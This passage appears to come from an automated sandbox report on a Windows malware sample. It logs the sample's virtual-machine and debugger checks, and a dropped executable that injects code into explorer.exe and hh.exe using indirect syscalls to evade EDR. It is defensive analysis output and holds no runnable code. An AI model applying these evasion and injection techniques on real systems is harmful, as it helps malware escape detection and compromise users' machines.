Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598348	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598013	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597657	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597532	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597407	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597282	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597157	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596563	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596327	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596208	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596052	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595368	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595220	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594983	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594874	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594657	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594532	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594407	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594282	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594157	Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 0000000B.00000002.2589830986.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: explorer.exe, 0000000E.00000003.2711021936.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 0000000B.00000000.2551388655.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: explorer.exe, 0000000E.00000003.3867808677.0000000008CB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: explorer.exe, 0000000E.00000003.2737490360.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}wActivationPolicy
Source: explorer.exe, 0000000E.00000002.4591125608.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3870691749.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3867808677.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3865469179.0000000008E2E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2662236331.0000000008E2E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4601406325.0000000008E2E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008E2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000000E.00000003.2711021936.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 0000000E.00000003.2737490360.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: VJQyKuHEUe.exe, 00000000.00000002.2543360730.000000000890C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\yh
Source: explorer.exe, 0000000E.00000003.2706319121.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}7e\xei
Source: Amcache.hve.10.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: explorer.exe, 0000000E.00000003.2726021307.000000000C071000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:d
Source: explorer.exe, 0000000E.00000002.4594191362.000000000482C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000E.00000003.2660154040.00000000047DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation CounterGOOGLE
Source: Amcache.hve.10.dr	Binary or memory string: vmci.sys
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: explorer.exe, 0000000E.00000003.3871764293.0000000008C20000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4600722578.0000000008C22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWUSm32\DriverStore\en\machine.inf_loc
Source: explorer.exe, 0000000E.00000003.2737490360.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 0000000E.00000003.3867808677.0000000008CB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4NECVMWar VMware SATA CD00
Source: explorer.exe, 0000000E.00000003.2706319121.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 0000000B.00000002.2585817290.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: explorer.exe, 0000000E.00000003.2726021307.000000000C071000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: explorer.exe, 0000000E.00000002.4601406325.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWare
Source: explorer.exe, 0000000E.00000003.2711021936.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: explorer.exe, 0000000B.00000002.2583918410.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: Amcache.hve.10.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: explorer.exe, 0000000E.00000003.3867808677.0000000008CB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000*
Source: explorer.exe, 0000000B.00000002.2589830986.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 0000000E.00000002.4591125608.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 0000000B.00000002.2589830986.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000B.00000002.2585817290.000000000769A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.10.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: explorer.exe, 0000000E.00000003.2602909404.00000000047FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: explorer.exe, 0000000B.00000002.2585817290.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: explorer.exe, 0000000B.00000002.2589830986.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: explorer.exe, 0000000E.00000003.2711021936.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\#
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.10.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.10.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: explorer.exe, 0000000E.00000003.2711021936.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: explorer.exe, 0000000E.00000002.4601406325.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l\\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000E.00000002.4591125608.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000}
Source: explorer.exe, 0000000E.00000003.2705880886.0000000004819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2VMware Virtual USB MouseJC:\Windows\System32\DDORes.dll,-2212
Source: Amcache.hve.10.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: explorer.exe, 0000000E.00000003.2737490360.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}us.exe
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: VJQyKuHEUe.exe, 00000000.00000002.2527508424.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, hh.exe, 00000007.00000002.4591567895.000001CDCB748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 0000000E.00000003.2711021936.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}\
Source: explorer.exe, 0000000E.00000003.2737490360.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00dRom0R
Source: explorer.exe, 0000000B.00000002.2589830986.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: explorer.exe, 0000000E.00000003.2602909404.00000000047FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.10.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: explorer.exe, 0000000B.00000002.2583918410.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: explorer.exe, 0000000E.00000003.2668179739.0000000008E85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: explorer.exe, 0000000E.00000003.2656869082.0000000008CD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxH
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: explorer.exe, 0000000E.00000003.2706319121.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}9507e]
Source: explorer.exe, 0000000E.00000003.2706319121.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000E.00000003.2737490360.000000000C0CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~MR
Source: explorer.exe, 0000000B.00000002.2583918410.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: explorer.exe, 0000000E.00000002.4591125608.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Code function: 5_2_00007FF7F97A4EE0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

5_2_00007FF7F97A4EE0

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Code function: 5_2_00007FF7F97A4EE0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

5_2_00007FF7F97A4EE0

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF7F97A43EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF7F97A43EC
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B912D460 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF8B912D460
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8BFAD4628 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF8BFAD4628
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8BFB60AD8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF8BFB60AD8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF7F97A43EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00007FF7F97A43EC
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A939D460 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00007FF8A939D460
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8BFB84628 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00007FF8BFB84628
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8BFBA0AD8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00007FF8BFBA0AD8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF7F97A43EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF7F97A43EC
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A804D460 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8A804D460
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8AF890AD8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8AF890AD8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8BFB74628 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8BFB74628

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Memory allocated: C:\Windows\hh.exe base: 1CDCB5B0000 protect: page read and write	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Memory allocated: C:\Windows\explorer.exe base: 3050000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Memory allocated: C:\Windows\explorer.exe base: 1230000 protect: page read and write	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	NtMapViewOfSection: Indirect: 0x7FF7F9818C91	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	NtMapViewOfSection: Indirect: 0x7FF7F98191CE	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	NtUnmapViewOfSection: Indirect: 0x7FF7F9819162	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Memory written: PID: 1028 base: 3050000 value: E8			Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Memory written: PID: 1028 base: 1230000 value: 00			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Thread register set: target process: 5780

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Memory written: C:\Windows\hh.exe base: 1CDCB5B0000	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Memory written: C:\Windows\explorer.exe base: 3050000	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Memory written: C:\Windows\explorer.exe base: 1230000	Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe "C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe"			Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Windows\hh.exe C:\windows\hh.exe			Jump to behavior

